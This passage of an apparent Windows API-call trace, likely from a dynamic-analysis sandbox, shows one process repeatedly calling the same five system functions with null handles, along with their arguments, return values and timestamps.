lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.098] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.098] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.098] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.098] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.099] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.099] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.099] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.099] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.099] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.099] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.099] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.099] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.099] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.099] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.099] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.099] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.099] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.099] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.099] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.099] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.099] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.099] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.099] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.099] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.099] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.099] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.099] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.099] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.099] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.099] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.100] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.100] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.100] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.100] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.100] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.100] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.100] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.100] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.100] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.100] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.100] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.100] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.100] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.100] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.100] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.100] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.100] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.100] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.100] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.100] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.100] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.100] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.100] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.100] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.100] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.100] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.100] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.100] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.100] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.100] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.100] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.101] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.101] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.101] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.101] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.101] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.101] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.101] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.101] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.101] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.101] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.101] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.101] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.101] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.101] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.101] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.101] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.101] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.101] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.101] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.101] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.101] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.101] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.101] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.101] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.101] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.101] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.101] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.101] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.101] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.101] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.101] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.102] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.102] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.102] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.102] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.102] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.102] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.102] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.102] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.102] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.102] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.102] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.102] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.102] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.102] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.102] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.102] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.102] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.102] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.102] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.102] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.102] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.102] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.102] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.102] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.102] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.102] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.102] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.102] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.102] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.102] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.103] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.103] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.103] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.103] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.103] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.103] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.103] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.103] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.103] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.103] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.103] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.103] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.103] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.103] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.103] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.103] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.103] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.103] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.103] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.103] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.103] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.103] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.103] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.103] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.103] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.103] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.103] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.103] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.103] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.103] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.103] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.103] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.103] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.103] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.104] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.104] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.104] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.104] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.104] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.104] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.104] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.104] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.104] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.104] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.104] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.104] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.104] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.104] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.104] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.104] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.104] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.104] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.104] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.104] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.104] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.104] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.104] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.104] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.104] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.104] GetMonitorInfoW (in: 